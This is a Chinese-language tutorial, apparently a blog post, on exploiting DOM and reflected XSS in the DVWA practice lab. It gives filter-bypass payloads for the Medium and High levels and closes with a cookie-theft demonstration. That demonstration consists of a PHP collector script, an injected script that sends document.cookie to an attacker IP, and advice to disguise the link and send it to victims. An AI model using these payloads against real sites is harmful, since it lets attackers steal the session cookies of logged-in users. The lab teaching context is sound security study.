xss漏洞(三,xss进阶利用)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

前言:

1,本文基于dvwa靶场以及PHP study进行操作,靶场具体搭建参考上一篇:

xss漏洞(二,xss靶场搭建以及简单利用)

2,设置靶场环境。

将靶场环境设置为Medium(中等的)并保存(后续设置为High等级操作预期一致)。

一,Medium等级。

1,查看源码。

可知,此处过滤<script>,且<select>标签中只能含有<option>``<optgroup>。

2,测试注入点。

直接使用get传参,可以使用hackbar来进行操作,以避免url编码阻碍使用。

本来并不存在china选项,但可以通过hackbar进行修改。

3,开始利用。

http://dvwa:8003/vulnerabilities/xss_d/?default=></option></select><img src=1 onError=alert('hello')>

因为这个等级存在了过滤,所以此处使用报错利用。

<img>标签是将一张图嵌入的意思,src=后跟所嵌入的图片地址,onError=后跟若前面的代码无法执行所进行的操作。

本段代码的整体含义为:插入地址为1的图片,若无法执行(报错),便执行弹窗为'hello'的操作。此处可将hello更换为其他敏感信息以进行进一步利用。

二,High等级。

直接使用Medium等级的思路是无法成功的,本次便从白盒视角来进行解题。

白盒与黑盒:

白盒是能在接触到源码的情况下进行的渗透活动,能更好的找出漏洞所在。

黑盒是提供很少的条件辅助攻击,有时甚至仅给一域名或ip,最接近真实的网络攻击环境。

分析源码可知,此处仅接受这四个值。

可以在注入的 payload (攻击载荷)中加入注释符 "#",注释后边的内容不会发送到服务端,但是会被前端代码所执行。

payload:

http://dvwa:8003/vulnerabilities/xss_d/?default=English%20#%3Cscript%3Ealert('hello')%3C/script%3E

此处不知道为什么,hackbar无法进行注入,只好直接在url栏内进行修改传参。

三,xss漏洞危害及利用。

1,危害:

假如dvwa是你常用的网站,并且已经登录,你不知道此页面存在xss注入,黑客利用xss漏洞获取你cookie.他先打开此网站,构造了恶意语句,然后拿到URL,把URL进行包装,最后发给受害者你,你作为受害者一点击,自己的cookie就发送到了黑客特定的的文件里,黑客就拿到了你的cookie。

2,实例:

①攻击者在在攻击机网站目录下写cookie.php文件。

内容为:

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

②,构造恶意语句,注入dvwa。

payload:

<script>document.write('<img src="http:// 192.168.31.203/cookie.php?cookie='+document.cookie+'">');</script>

其中的 192.168.31.203,为攻击机的IP。

③,开始攻击。

生成恶意链接,伪装之后给别人,让别人点击,前提是别人登录了dvwa.

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.write('<img src="http://192.168.31.203/cookie.php?cookie='+document.cookie+'">');</script>#

受害者点击后:

相关推荐
曈欣2 小时前
vue 控制组件是否显示
前端·javascript·vue.js
nice666603 小时前
CSS的基本语法
java·前端·css·visual studio code
陈在天box3 小时前
《响应式 Web 设计:纯 HTML 和 CSS 的实现技巧》
前端·css·html
爱吃桃子的ICer4 小时前
[UVM]3.核心基类 uvm_object 域的自动化 copy() compare() print() pack unpack
开发语言·前端·ic设计
学地理的小胖砸6 小时前
【GEE的Python API】
大数据·开发语言·前端·python·遥感·地图学·地理信息科学
垦利不7 小时前
css总结
前端·css·html
八月的雨季 最後的冰吻7 小时前
C--字符串函数处理总结
c语言·前端·算法
6230_8 小时前
关于HTTP通讯流程知识点补充—常见状态码及常见请求方式
前端·javascript·网络·网络协议·学习·http·html
pan_junbiao9 小时前
Vue组件:使用$emit()方法监听子组件事件
前端·javascript·vue.js
正在绘制中9 小时前
如何部署Vue+Springboot项目
前端·vue.js·spring boot